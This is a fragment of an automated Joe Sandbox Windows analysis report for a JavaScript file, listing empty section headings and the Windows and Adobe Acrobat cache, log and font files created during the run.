Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\18966e7b-82b2-4ae4-ac2b-00d13e4692f5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7336

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1147112155713680.js